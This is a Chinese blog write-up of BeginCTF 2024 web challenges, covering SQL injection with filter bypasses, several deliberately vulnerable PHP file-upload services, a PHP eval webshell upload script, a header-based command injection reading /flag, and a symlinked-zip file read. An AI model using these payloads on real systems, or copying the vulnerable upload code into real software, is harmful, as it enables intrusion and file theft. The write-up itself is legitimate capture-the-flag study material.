beginctf2024部分webwp

官方wp链接BeginCTF官方WP - 飞书云文档 (feishu.cn)

web

SQL注入教学局

image
单引号闭合.判断waf防御

空格,=,>,<,and,left,&,\,length,update,floor

我们采用联合注入

1'union(selselectect(group_concat(table_name))frfromom(infoorrmation_schema.tables)where(table_schema)like(database()))#

注:由于有执行的查询语句的回显,因此我们能够精确的进行重写绕过.
得到了table名:ctf,score

1'union(selselectect(group_concat(column_name))frfromom(infoorrmation_schema.columns)where(table_schema)like(database()))#

得到了列名secret,user,grade,student其中前两个是ctf的,后两个是score的.

1'union(selselectect(group_concat(grade))frfromom(scoorre)where(student)like('begin'))#

得到第二段flagfd0a-4cd5-99db

1'union(selselectect(group_concat(column_name))frfromom(infoorrmation_schema.columns)where(table_schema)like('secret'))#

得到了三个列名flag,id,note

1'union(selselectect(group_concat(flag))frfromom(secret.passwoorrd))#

得到了第一段flagflag{730b1c38-

1'union(selselectect(group_concat(schema_name))frfromom(infoorrmation_schema.schemata))#

然后我们需要通过load_file来获取第三段.

1'union(selselectect(loloadad_file('/flag')))#

-0336afe55cd9}

zupload

已知flag在根目录下.

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    echo json_encode(array(
        'status' => 'error',
        'message' => 'Not implemented yet'
    ));
}

阅读源码我们发现,虽然这题自称文件上传,但是实际上是一个rce的题.我们上传一个zip文件,然后将请求方法改为post,请求参数改为action=/flag即可

zupload-pro

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    if ($file_error === 0) {
        if ($file_size <= 2097152) {
            $file_destination = 'uploads/' . $file_name;

            if (move_uploaded_file($file_tmp, $file_destination)) {
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'File upload failed'
        ));
    }
}

传统文件上传,无防护

zupload-pro-plus

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower($file_ext[1]);
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed)) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_destination = 'uploads/' . $file_name;
    
                if (move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'ok',
                        'message' => 'File uploaded successfully',
                        'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                    ));
                }
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

可以看到,在后端进行了防护,但是防护方法很是奇特,他截取了第一个点以后(第二个点之前)的内容,检测其中是否含有zip.那么我们直接在burp中将文件名给为eval.zip.php即可

从这开始就是看wp复现的题目,而不是之前做的了

zupload-pro

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    if ($file_error === 0) {
        if ($file_size <= 2097152) {
            $file_destination = 'uploads/' . $file_name;

            if (move_uploaded_file($file_tmp, $file_destination)) {
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'File upload failed'
        ));
    }
}

这题还有另外一种非预期解,就是利用file伪协议.action=file:///flag他进制/出现在第一处,但是通过file伪协议完美的绕过了.
然后wp中给出了一个很有意思的处理方法,就是利用python脚本来实现文件上传.我们将这个脚本翻译了一下;

from io import BytesIO
import requests
url = 'http://ctf.ctbu.edu.cn:33754/'
webshell = BytesIO(b'<?php @eval($_POST["cmd"]);?>')
files={'file': ('shell.zip.php', webshell)}
requests.post(url=url, files=files)
url_upload='http://ctf.ctbu.edu.cn:33754/uploads/shell.php'
data={'cmd': 'echo `cat /flag`;'}
req=request.post(url=url_upload,data=data)
print(req.text)

这个脚本经过ctfhub的一道类似的题的验证是好使的,但是在本地跑不通.

zupload-pro-plus-max

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(include($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_destination = 'uploads/' . $file_name;
    
                if (move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'ok',
                        'message' => 'File uploaded successfully',
                        'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                    ));
                }
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

这一题如果想像刚才那题一样走下面的方法进行文件上传,就会发现我们的扩展名被限制为zip,且要求确保压缩包可打开.如果把恶意木马塞到zip文件中则无法执行.然而我们发现get方法中出现了文件包含漏洞.die(include($_GET['action']));因此我们只需要使用get方法上传一个正常的zip马即可.
zip的内容为<?php @system('cat /flag;')?>
这题也给出了python代码,但是感觉有点繁琐,不想去学习了.

zupload-pro-plus-max-ultra

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    $extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed)) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {

                exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

get方法彻底不让走了.exec('unzip ' . $file_tmp . ' -d ' . $extract_to);但是我们看到了这句进行了命令拼接,猜测存在rce漏洞.
$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';extract_to是由这个生成的.如果我们能在http添加一个首部字段,则能够实现任意命令拼接.
注意:$_SERVER['HTTP_X_EXTRACT_TO']这个获取的是一个全局变量,为http头部的X-EXTRACT-TO字段.在RFC 7230中由规定要求http首部字段不能含有下划线.如果要获取x-forward-for字段,则php代码需要这么写:$_SERVER['HTTP_X_FORWARDED_FOR']
所以我们构建http头部

X-EXTRACT-TO:upload/;tac /flag>1.txt;

然后我们直接访问即可.exec处理的结果如果不echo或print_r一下,是没有回显的.

zupload-pro-plus-max-ultra-premium

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];

    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));

    $allowed = array('zip');

    if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_name_new = uniqid('', true) . '.' . $file_ext;
                $file_destination = 'uploads/' . $file_name_new;
                if (!move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'error',
                        'message' => 'Failed to upload file'
                    ));
                }

                exec('unzip ' . escapeshellarg($file_destination) . ' -d ' . 'uploads/');
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

这题不仅把$file_destination放在了中间,还使用了escapeshellarg函数来进行转义防御.因此上面的方法不好使了.我们考虑软连接拉取绕过.
现在本地的linux下进行处理上传的文件.

touch /flag
ln -s /flag soft
zip --symlink soft.zip soft

需要详细解释一下这个--symlink参数.正常的压缩包存储的是文件的内容,但是如果加上参数后存储的是文件的地址,可以理解为这个symlink是为软连接专门提供的.也就是说生成的这个soft.zip存储的是/flag这个位置.我们将这个压缩包上传后去访问.访问一个压缩包的效果是将其下载.这样我们就能通过这个软连接的压缩包拉取下载/flag.
上面的命令也可以写作

touch /flag
zip --symlink soft.zip /flag

这个也是好使的.这也说明了软连接的本质就是一个地址,因此在这里直接传参/flag也可.
image

posted @   meraklbz  阅读(56)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示